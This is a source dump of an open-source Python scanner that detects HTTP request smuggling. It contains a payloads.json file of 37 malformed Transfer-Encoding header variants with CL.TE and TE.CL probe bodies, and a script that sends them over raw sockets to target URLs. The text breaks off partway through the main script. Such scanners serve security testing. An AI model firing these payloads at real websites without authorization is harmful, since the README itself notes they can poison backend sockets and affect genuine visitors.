├── lib ├── __init__.py ├── __pycache__ │ ├── Utils.cpython-38.pyc │ ├── __init__.cpython-38.pyc │ ├── Constants.cpython-38.pyc │ └── SocketConnection.cpython-38.pyc ├── Constants.py ├── SocketConnection.py └── Utils.py ├── requirements.txt ├── screenshots └── thumbnail.png ├── LICENSE ├── README.md ├── payloads.json └── smuggle.py /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | termcolor==1.1.0 2 | pyfiglet==0.8.post1 3 | colorama==0.4.4 -------------------------------------------------------------------------------- /screenshots/thumbnail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/screenshots/thumbnail.png -------------------------------------------------------------------------------- /lib/__pycache__/Utils.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/Utils.cpython-38.pyc -------------------------------------------------------------------------------- /lib/__pycache__/__init__.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/__init__.cpython-38.pyc -------------------------------------------------------------------------------- /lib/__pycache__/Constants.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/Constants.cpython-38.pyc -------------------------------------------------------------------------------- /lib/__pycache__/SocketConnection.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anshumanpattnaik/http-request-smuggling/main/lib/__pycache__/SocketConnection.cpython-38.pyc -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Anshuman Pattnaik 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /lib/Constants.py: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | # Copyright (c) 2020 Anshuman Pattnaik 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | class Constants: 23 | def __init__(self): 24 | self.transfer_encoding = 'transfer_encoding' 25 | self.te_key = 'te_key' 26 | self.te_value = 'te_value' 27 | self.permute = 'permute' 28 | self.type = 'type' 29 | self.payload = 'payload' 30 | self.statuscode = 'statuscode' 31 | self.content_length_key = 'content_length_key' 32 | self.content_length = 'content_length' 33 | self.header_type = 'header_type' 34 | self.chunked_type = 'chunked_type' 35 | self.payload_chunk = 'payload_chunk' 36 | self.detection = 'detection' 37 | self.crlf = '\r\n' 38 | self.delayed_response_msg = '[Delayed Response] → Possible HTTP Request Smuggling' 39 | self.detecting = 'detecting...' 40 | self.ok = 'OK' 41 | self.magenta = 'magenta' 42 | self.yellow = 'yellow' 43 | self.white = 'white' 44 | self.red = 'red' 45 | self.cyan = 'cyan' 46 | self.blue = 'blue' 47 | self.green = 'green' 48 | self.reports = 'reports' 49 | self.output = '$Output' 50 | self.extenstion = '.txt' 51 | self.file_not_found = 'File not found' 52 | self.python_version_error_msg = "HRS Detection tool reuires Python 3.x" 53 | self.invalid_method_type = 'Invalid method type, please enter correct http method (eg GET or POST)' 54 | self.invalid_url_options = "Invalid options specify either (-u) or (--urls)" 55 | self.invalid_retry_count = 'Invalid retry count, please specify at least 1 retry count' 56 | self.invalid_target_url = "Invalid target url, please specify the valid url by following this example - " \ 57 | "http[s]://example.com" 58 | self.keyboard_interrupt = 'KeyboardInterrupt' 59 | self.dis_connected = 'DISCONNECTED' 60 | -------------------------------------------------------------------------------- /lib/SocketConnection.py: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | # Copyright (c) 2020 Anshuman Pattnaik 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | import socket 23 | import ssl 24 | import time 25 | 26 | 27 | class SocketConnection: 28 | def __init__(self): 29 | self.context = None 30 | self.data = None 31 | self.s = None 32 | self.ssl = None 33 | self.ssl_enable = False 34 | 35 | def connect(self, host, port, timeout): 36 | try: 37 | if port == 443: 38 | self.ssl_enable = True 39 | self.context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) 40 | self.s = socket.create_connection((host, port)) 41 | self.ssl = self.context.wrap_socket(self.s, server_hostname=host) 42 | self.ssl.settimeout(timeout) 43 | else: 44 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 | self.s.settimeout(timeout) 46 | self.s.connect((host, port)) 47 | return self.s 48 | except socket.error as msg: 49 | print(f'Socket Error → {msg}') 50 | return None 51 | 52 | def send_payload(self, payload): 53 | if self.ssl_enable: 54 | self.ssl.send(str(payload).encode()) 55 | else: 56 | self.s.send(str(payload).encode()) 57 | 58 | def receive_data(self, buffer_size=1024): 59 | try: 60 | if self.ssl_enable: 61 | self.ssl.settimeout(None) 62 | self.data = self.ssl.recv(buffer_size) 63 | else: 64 | self.s.settimeout(None) 65 | self.data = self.s.recv(buffer_size) 66 | except socket.timeout: 67 | print('Error: Socket timeout') 68 | return self.data 69 | 70 | @staticmethod 71 | def detect_hrs_vulnerability(start_time, timeout): 72 | if time.time() - start_time >= timeout: 73 | return True 74 | return False 75 | 76 | def close_connection(self): 77 | if self.ssl_enable: 78 | self.ssl.close() 79 | del self.ssl 80 | self.s.close() 81 | del self.s 82 | -------------------------------------------------------------------------------- /lib/Utils.py: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | # Copyright (c) 2020 Anshuman Pattnaik 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | import json 23 | import os 24 | from urllib.error import URLError 25 | 26 | from termcolor import cprint, colored 27 | from pyfiglet import figlet_format 28 | from urllib.parse import urlparse 29 | from .Constants import Constants 30 | import colorama 31 | 32 | colorama.init() 33 | 34 | 35 | class Utils: 36 | def __init__(self): 37 | self.title = "{:<1}{}".format("", "Smuggling") 38 | self.author = "Anshuman Pattnaik / @anspattnaik" 39 | self.blog = "https://hackbotone.com/blog/http-request-smuggling-detection-tool" 40 | self.version = "0.1" 41 | 42 | def print_header(self): 43 | cprint(figlet_format(self.title.center(20), font='cybermedium'), 'red', attrs=['bold']) 44 | 45 | header_key_color = Constants().blue 46 | header_value_color = Constants().yellow 47 | 48 | print("{:<12}{:<23}{:<17}{}".format('', colored('Author', header_key_color, attrs=['bold']), 49 | colored(':', header_key_color, attrs=['bold']), 50 | colored(self.author, header_value_color, attrs=['bold']))) 51 | print("{:<12}{:<23}{:<17}{}".format('', colored('Blog', header_key_color, attrs=['bold']), 52 | colored(':', header_key_color, attrs=['bold']), 53 | colored(self.blog, header_value_color, attrs=['bold']))) 54 | print("{:<12}{:<23}{:<17}{}".format('', colored('Version', header_key_color, attrs=['bold']), 55 | colored(':', header_key_color, attrs=['bold']), 56 | colored(self.version, header_value_color, attrs=['bold']))) 57 | print("{:<1}{}".format('', colored( 58 | "___________________________________________________________________________________", 'cyan', 59 | attrs=['bold']))) 60 | print("\n") 61 | 62 | @staticmethod 63 | def write_payload(file_name, payload): 64 | if not os.path.exists(os.path.dirname(file_name)): 65 | try: 66 | os.makedirs(os.path.dirname(file_name)) 67 | except OSError as e: 68 | print(e) 69 | with open(file_name, "wb") as f: 70 | f.write(bytes(str(payload), 'utf-8')) 71 | 72 | @staticmethod 73 | def url_parser(url): 74 | parser = {} 75 | try: 76 | port = 80 77 | u_parser = urlparse(url) 78 | if u_parser.scheme == 'https': 79 | port = 443 80 | if u_parser.port is not None: 81 | port = u_parser.port 82 | 83 | host = u_parser.hostname 84 | parser["host"] = host 85 | parser["port"] = port 86 | 87 | path = u_parser.path 88 | query = '?' + u_parser.query if u_parser.query else '' 89 | fragment = '#' + u_parser.fragment if u_parser.fragment else '' 90 | uri_path = f'{path}{query}{fragment}' 91 | 92 | if len(path) > 0: 93 | parser["path"] = uri_path 94 | else: 95 | parser["path"] = '/' 96 | return json.dumps(parser) 97 | except URLError as e: 98 | print(f'Invalid URL: {e}') 99 | return Constants().invalid_target_url 100 | 101 | @staticmethod 102 | def read_target_list(file_name): 103 | try: 104 | with open(file_name) as urls_list: 105 | return [u.rstrip('\n') for u in urls_list] 106 | except FileNotFoundError as _: 107 | return Constants().file_not_found 108 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### HTTP Request Smuggling Detection Tool 2 | HTTP request smuggling is a high severity vulnerability which is a technique where an attacker smuggles an ambiguous HTTP request to bypass security controls and gain unauthorized access to performs malicious activities, the vulnerability was discovered back in 2005 by [watchfire](https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf) and later in August 2019 it re-discovered by [James Kettle - (albinowax)](https://twitter.com/albinowax) and presented at [DEF CON 27](https://www.youtube.com/watch?v=w-eJM2Pc0KI) and [Black-Hat USA](https://www.youtube.com/watch?v=_A04msdplXs), to know more about this vulnerability you can refer his well-documented research blogs at [Portswigger website](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn). So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes, so to know more about this tool I'll highly encourage you to read my [blog](https://hackbotone.com/blog/http-request-smuggling-detection-tool) post about this tool. 3 | 4 | 5 | 6 | ### Technical Overview 7 | The tool is written using python and to use this tool you must have python version 3.x installed in your local machine. It takes the input of either one URL or list of URLs which you need to provide in a text file and by following the HRS vulnerability detection technique the tool has built-in payloads which has around 37 permutes and detection payloads for both CL.TE and TE.CL and for every given host it will generate the attack request object by using these payloads and calculates the elapsed time after receiving the response for each request and decides the vulnerability but most of the time chances are it can be false positive, so to confirm the vulnerability you can use burp-suite turbo intruder and try your payloads. 8 | 9 | ### Security Consent 10 | It's quite important to know some of the legal disclaimers before scanning any of the targets, you should have proper authorization before scanning any of the targets otherwise I suggest do not use this tool to scan an unauthorized target because to detect the vulnerability it sends multiple payloads for multiple times by using (--retry) option which means if something goes wrong then there is a possibility that backend socket might get poisoned with the payloads and any genuine visitors of that particular website might end up seeing the poisoned payload rather seeing the actual content of the website. So I'll highly suggest taking proper precautions before scanning any of the target website otherwise you will face some legal issue. 11 | 12 | ### Installation 13 | ````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` 14 | git clone https://github.com/anshumanpattnaik/http-request-smuggling.git 15 | cd http-request-smuggling 16 | pip3 install -r requirements.txt 17 | ````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` 18 | 19 | ### Options 20 | ````````````````````````````````````````````````````````````````````````````````````````````````` 21 | usage: smuggle.py [-h] [-u URL] [-urls URLS] [-t TIMEOUT] [-m METHOD] 22 | [-r RETRY] 23 | 24 | HTTP Request Smuggling vulnerability detection tool 25 | 26 | optional arguments: 27 | -h, --help show this help message and exit 28 | -u URL, --url URL set the target url 29 | -urls URLS, --urls URLS 30 | set list of target urls, i.e (urls.txt) 31 | -t TIMEOUT, --timeout TIMEOUT 32 | set socket timeout, default - 10 33 | -m METHOD, --method METHOD 34 | set HTTP Methods, i.e (GET or POST), default - POST 35 | -r RETRY, --retry RETRY 36 | set the retry count to re-execute the payload, default 37 | - 2 38 | ````````````````````````````````````````````````````````````````````````````````````````````````` 39 | 40 | ### Scan one Url 41 | ```````````````````````````````````` 42 | python3 smuggle.py -u 43 | ```````````````````````````````````` 44 | 45 | ### Scan list of Urls 46 | ```````````````````````````````````` 47 | python3 smuggle.py -urls 48 | ```````````````````````````````````` 49 | 50 | ### Important 51 | If you feel the detection payload needs to change to make it more accurate then you can update the payload in payloads.json file of detection array. 52 | 53 | `````````````````````````````````````````````````````````````````` 54 | "detection": [ 55 | { 56 | "type": "CL.TE", 57 | "payload": "\r\n1\r\nZ\r\nQ\r\n\r\n", 58 | "content_length": 5 59 | }, 60 | { 61 | "type": "TE.CL", 62 | "payload": "\r\n0\r\n\r\n\r\nG", 63 | "content_length": 6 64 | } 65 | ] 66 | `````````````````````````````````````````````````````````````````` 67 | 68 | ### License 69 | This project is licensed under the [MIT License](LICENSE) 70 | -------------------------------------------------------------------------------- /payloads.json: -------------------------------------------------------------------------------- 1 | { 2 | "permute": [ 3 | { 4 | "type": "spacejoin", 5 | "content_length_key": "Content-Length:", 6 | "transfer_encoding": { 7 | "te_key": "Transfer Encoding:", 8 | "te_value": "chunked" 9 | } 10 | }, 11 | { 12 | "type": "default", 13 | "content_length_key": "Content-Length:", 14 | "transfer_encoding": { 15 | "te_key": "Transfer-Encoding:", 16 | "te_value": "chunked" 17 | } 18 | }, 19 | { 20 | "type": "underjoin", 21 | "content_length_key": "Content-Length:", 22 | "transfer_encoding": { 23 | "te_key": "Transfer_Encoding:", 24 | "te_value": "chunked" 25 | } 26 | }, 27 | { 28 | "type": "space1", 29 | "content_length_key": "Content-Length:", 30 | "transfer_encoding": { 31 | "te_key": "Transfer-Encoding: ", 32 | "te_value": "chunked" 33 | } 34 | }, 35 | { 36 | "type": "space2", 37 | "content_length_key": "Content-Length: ", 38 | "transfer_encoding": { 39 | "te_key": "Transfer-Encoding:", 40 | "te_value": "chunked" 41 | } 42 | }, 43 | { 44 | "type": "space3", 45 | "content_length_key": "Content-Length:", 46 | "transfer_encoding": { 47 | "te_key": "Transfer-Encoding[space here]:", 48 | "te_value": "chunked" 49 | } 50 | }, 51 | { 52 | "type": "nameprefix1", 53 | "content_length_key": "Content-Length:", 54 | "transfer_encoding": { 55 | "te_key": " Transfer-Encoding:", 56 | "te_value": "chunked" 57 | } 58 | }, 59 | { 60 | "type": "valueprefix1", 61 | "content_length_key": "Content-Length:", 62 | "transfer_encoding": { 63 | "te_key": "Transfer-Encoding: ", 64 | "te_value": "chunked" 65 | } 66 | }, 67 | { 68 | "type": "nospace1", 69 | "content_length_key": "Content-Length:", 70 | "transfer_encoding": { 71 | "te_key": "Transfer-Encoding:", 72 | "te_value": "chunked" 73 | } 74 | }, 75 | { 76 | "type": "tabprefix1", 77 | "content_length_key": "Content-Length:", 78 | "transfer_encoding": { 79 | "te_key": "Transfer-Encoding:\t", 80 | "te_value": "chunked" 81 | } 82 | }, 83 | { 84 | "type": "vertprefix1", 85 | "content_length_key": "Content-Length:", 86 | "transfer_encoding": { 87 | "te_key": "Transfer-Encoding:\u000B", 88 | "te_value": "chunked" 89 | } 90 | }, 91 | { 92 | "type": "commaCow", 93 | "content_length_key": "Content-Length:", 94 | "transfer_encoding": { 95 | "te_key": "Transfer-Encoding: ", 96 | "te_value": "chunked, identity" 97 | } 98 | }, 99 | { 100 | "type": "cowComma", 101 | "content_length_key": "Content-Length:", 102 | "transfer_encoding": { 103 | "te_key": "Transfer-Encoding: ", 104 | "te_value": "identity" 105 | } 106 | }, 107 | { 108 | "type": "contentEnc", 109 | "content_length_key": "Content-Length:", 110 | "transfer_encoding": { 111 | "te_key": "Content-Encoding: ", 112 | "te_value": "chunked" 113 | } 114 | }, 115 | { 116 | "type": "linewrapped1", 117 | "content_length_key": "Content-Length:", 118 | "transfer_encoding": { 119 | "te_key": "Transfer-Encoding:\n", 120 | "te_value": "chunked" 121 | } 122 | }, 123 | { 124 | "type": "gareth1", 125 | "content_length_key": "Content-Length:", 126 | "transfer_encoding": { 127 | "te_key": "Transfer-Encoding\n : ", 128 | "te_value": "chunked" 129 | } 130 | }, 131 | { 132 | "type": "quoted", 133 | "content_length_key": "Content-Length:", 134 | "transfer_encoding": { 135 | "te_key": "Transfer-Encoding: ", 136 | "te_value": "\"chunked\"" 137 | } 138 | }, 139 | { 140 | "type": "aposed", 141 | "content_length_key": "Content-Length:", 142 | "transfer_encoding": { 143 | "te_key": "Transfer-Encoding:", 144 | "te_value": "'chunked'" 145 | } 146 | }, 147 | { 148 | "type": "badwrap", 149 | "content_length_key": "Content-Length:", 150 | "transfer_encoding": { 151 | "te_key": "Foo: bar\r\n Transfer-Encoding: ", 152 | "te_value": "chunked" 153 | } 154 | }, 155 | { 156 | "type": "badsetupCR", 157 | "content_length_key": "Content-Length:", 158 | "transfer_encoding": { 159 | "te_key": "Fooz: bar\rTransfer-Encoding: ", 160 | "te_value": "chunked" 161 | } 162 | }, 163 | { 164 | "type": "badsetupLF", 165 | "content_length_key": "Content-Length:", 166 | "transfer_encoding": { 167 | "te_key": "Fooz: bar\nTransfer-Encoding: ", 168 | "te_value": "chunked" 169 | } 170 | }, 171 | { 172 | "type": "vertwrap", 173 | "content_length_key": "Content-Length:", 174 | "transfer_encoding": { 175 | "te_key": "Transfer-Encoding: \n\u000B", 176 | "te_value": "chunked" 177 | } 178 | }, 179 | { 180 | "type": "tabwrap", 181 | "content_length_key": "Content-Length:", 182 | "transfer_encoding": { 183 | "te_key": "Transfer-Encoding: \n\t", 184 | "te_value": "chunked" 185 | } 186 | }, 187 | { 188 | "type": "dualchunk", 189 | "content_length_key": "Content-Length:", 190 | "transfer_encoding": { 191 | "te_key": "Transfer-Encoding: ", 192 | "te_value": "chunked\r\nTransfer-Encoding: identity" 193 | } 194 | }, 195 | { 196 | "type": "lazygrep", 197 | "content_length_key": "Content-Length:", 198 | "transfer_encoding": { 199 | "te_key": "Transfer-Encoding: ", 200 | "te_value": "chunk" 201 | } 202 | }, 203 | { 204 | "type": "multiCase", 205 | "content_length_key": "Content-Length:", 206 | "transfer_encoding": { 207 | "te_key": "TrAnSFer-EnCODinG: ", 208 | "te_value": "cHuNkeD" 209 | } 210 | }, 211 | { 212 | "type": "UPPERCASE", 213 | "content_length_key": "Content-Length:", 214 | "transfer_encoding": { 215 | "te_key": "TRANSFER-ENCODING: ", 216 | "te_value": "CHUNKED" 217 | } 218 | }, 219 | { 220 | "type": "zdwrap", 221 | "content_length_key": "Content-Length:", 222 | "transfer_encoding": { 223 | "te_key": "Foo: bar\r\n\rTransfer-Encoding: ", 224 | "te_value": "chunked" 225 | } 226 | }, 227 | { 228 | "type": "zdsuffix1", 229 | "content_length_key": "Content-Length:", 230 | "transfer_encoding": { 231 | "te_key": "Transfer-Encoding: ", 232 | "te_value": "chunked\r" 233 | } 234 | }, 235 | { 236 | "type": "zdsuffix2", 237 | "content_length_key": "Content-Length:", 238 | "transfer_encoding": { 239 | "te_key": "Transfer-Encoding: ", 240 | "te_value": "chunked\t" 241 | } 242 | }, 243 | { 244 | "type": "revdualchunk", 245 | "content_length_key": "Content-Length:", 246 | "transfer_encoding": { 247 | "te_key": "Transfer-Encoding: ", 248 | "te_value": "identity\r\nTransfer-Encoding: chunked" 249 | } 250 | }, 251 | { 252 | "type": "zdspam", 253 | "content_length_key": "Content-Length:", 254 | "transfer_encoding": { 255 | "te_key": "Transfer\\r-Encoding: ", 256 | "te_value": "chunked" 257 | } 258 | }, 259 | { 260 | "type": "bodysplit", 261 | "content_length_key": "Content-Length:", 262 | "transfer_encoding": { 263 | "te_key": "Foo: barn\n\nTransfer-Encoding: ", 264 | "te_value": "chunked" 265 | } 266 | }, 267 | { 268 | "type": "nested", 269 | "content_length_key": "Content-Length:", 270 | "transfer_encoding": { 271 | "te_key": "Transfer-Encoding: ", 272 | "te_value": "cow chunked bar" 273 | } 274 | }, 275 | { 276 | "type": "spaceFF", 277 | "content_length_key": "Content-Length:", 278 | "transfer_encoding": { 279 | "te_key": "Transfer-Encoding:", 280 | "te_value": "\\xFFchunked" 281 | } 282 | }, 283 | { 284 | "type": "unispace", 285 | "content_length_key": "Content-Length:", 286 | "transfer_encoding": { 287 | "te_key": "Transfer-Encoding:", 288 | "te_value": "\\xA0chunked" 289 | } 290 | }, 291 | { 292 | "type": "accentTE", 293 | "content_length_key": "Content-Length:", 294 | "transfer_encoding": { 295 | "te_key": "Transf\\x82r-Encoding:", 296 | "te_value": "chunked" 297 | } 298 | }, 299 | { 300 | "type": "accentCH", 301 | "content_length_key": "Content-Length:", 302 | "transfer_encoding": { 303 | "te_key": "Transfr-Encoding: ", 304 | "te_value": "ch\\x96nked" 305 | } 306 | } 307 | ], 308 | "detection": [ 309 | { 310 | "type": "CL.TE", 311 | "payload": "\r\n1\r\nZ\r\nQ\r\n\r\n", 312 | "content_length": 5 313 | }, 314 | { 315 | "type": "TE.CL", 316 | "payload": "\r\n0\r\n\r\n\r\nG", 317 | "content_length": 6 318 | } 319 | ] 320 | } 321 | -------------------------------------------------------------------------------- /smuggle.py: -------------------------------------------------------------------------------- 1 | # MIT License 2 | 3 | # Copyright (c) 2020 Anshuman Pattnaik 4 | 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | 12 | # The above copyright notice and this permission notice shall be included in all 13 | # copies or substantial portions of the Software. 14 | 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | # SOFTWARE. 22 | import argparse 23 | import json 24 | import time 25 | import os 26 | import sys 27 | import re 28 | from termcolor import colored 29 | from lib.Utils import Utils 30 | from lib.Constants import Constants 31 | from lib.SocketConnection import SocketConnection 32 | from pathlib import Path 33 | import colorama 34 | 35 | colorama.init() 36 | 37 | utils = Utils() 38 | constants = Constants() 39 | 40 | # Argument parser 41 | parser = argparse.ArgumentParser(description='HTTP Request Smuggling vulnerability detection tool') 42 | parser.add_argument("-u", "--url", help="set the target url") 43 | parser.add_argument("-urls", "--urls", help="set list of target urls, i.e (urls.txt)") 44 | parser.add_argument("-t", "--timeout", help="set socket timeout, default - 10") 45 | parser.add_argument("-m", "--method", help="set HTTP Methods, i.e (GET or POST), default - POST") 46 | parser.add_argument("-r", "--retry", help="set the retry count to re-execute the payload, default - 2") 47 | args = parser.parse_args() 48 | 49 | 50 | def hrs_detection(_host, _port, _path, _method, permute_type, content_length_key, te_key, te_value, smuggle_type, 51 | content_length, payload, _timeout): 52 | headers = '' 53 | headers += '{} {} HTTP/1.1{}'.format(_method, _path, constants.crlf) 54 | headers += 'Host: {}{}'.format(_host, constants.crlf) 55 | headers += '{} {}{}'.format(content_length_key, content_length, constants.crlf) 56 | headers += '{}{}{}'.format(te_key, te_value, constants.crlf) 57 | smuggle_body = headers + payload 58 | 59 | permute_type = "[" + permute_type + "]" 60 | elapsed_time = "-" 61 | 62 | # Print Styling 63 | _style_space_config = "{:<30}{:<25}{:<25}{:<25}{:<25}" 64 | _style_permute_type = colored(permute_type, constants.cyan, attrs=['bold']) 65 | _style_smuggle_type = colored(smuggle_type, constants.magenta, attrs=['bold']) 66 | _style_status_code = colored("-", constants.blue, attrs=['bold']) 67 | _style_elapsed_time = "{}".format(colored(elapsed_time, constants.yellow, attrs=['bold'])) 68 | _style_status = colored(constants.detecting, constants.green, attrs=['bold']) 69 | 70 | print(_style_space_config.format(_style_permute_type, _style_smuggle_type, _style_status_code, _style_elapsed_time, 71 | _style_status), end="\r", flush=True) 72 | 73 | start_time = time.time() 74 | 75 | try: 76 | connection = SocketConnection() 77 | connection.connect(_host, _port, _timeout) 78 | connection.send_payload(smuggle_body) 79 | 80 | response = connection.receive_data().decode("utf-8") 81 | end_time = time.time() 82 | 83 | if len(response.split()) > 0: 84 | status_code = response.split()[1] 85 | else: 86 | status_code = 'NO RESPONSE' 87 | _style_status_code = colored(status_code, constants.blue, attrs=['bold']) 88 | 89 | connection.close_connection() 90 | 91 | # The detection logic is based on the time delay technique, if the elapsed time is more than the timeout value 92 | # then the target host status will change to [HRS → Vulnerable], but most of the time chances are it can be 93 | # false positive So to confirm the vulnerability you can use burp-suite turbo intruder and try your own 94 | # payloads. https://portswigger.net/web-security/request-smuggling/finding 95 | 96 | elapsed_time = str(round((end_time - start_time) % 60, 2)) + "s" 97 | _style_elapsed_time = "{}".format(colored(elapsed_time, constants.yellow, attrs=['bold'])) 98 | 99 | is_hrs_found = connection.detect_hrs_vulnerability(start_time, _timeout) 100 | 101 | # If HRS found then it will write the payload to the reports directory 102 | if is_hrs_found: 103 | _style_status = colored(constants.delayed_response_msg, constants.red, attrs=['bold']) 104 | _reports = constants.reports + '/{}/{}-{}{}'.format(_host, permute_type, smuggle_type, constants.extenstion) 105 | utils.write_payload(_reports, smuggle_body) 106 | else: 107 | _style_status = colored(constants.ok, constants.green, attrs=['bold']) 108 | except Exception as exception: 109 | elapsed_time = str(round((time.time() - start_time) % 60, 2)) + "s" 110 | _style_elapsed_time = "{}".format(colored(elapsed_time, constants.yellow, attrs=['bold'])) 111 | 112 | error = f'{constants.dis_connected} → {exception}' 113 | _style_status = colored(error, constants.red, attrs=['bold']) 114 | 115 | print(_style_space_config.format(_style_permute_type, _style_smuggle_type, _style_status_code, _style_elapsed_time, 116 | _style_status)) 117 | 118 | # There is a delay of 1 second after executing each payload 119 | time.sleep(1) 120 | 121 | 122 | if __name__ == "__main__": 123 | # If the python version less than 3.x then it will exit 124 | if sys.version_info < (3, 0): 125 | print(constants.python_version_error_msg) 126 | sys.exit(1) 127 | 128 | try: 129 | # Printing the tool header 130 | utils.print_header() 131 | 132 | # Both (url/urls) options not allowed at the same time 133 | if args.urls and args.url: 134 | print(constants.invalid_url_options) 135 | sys.exit(1) 136 | 137 | target_urls = list() 138 | if args.urls: 139 | urls = 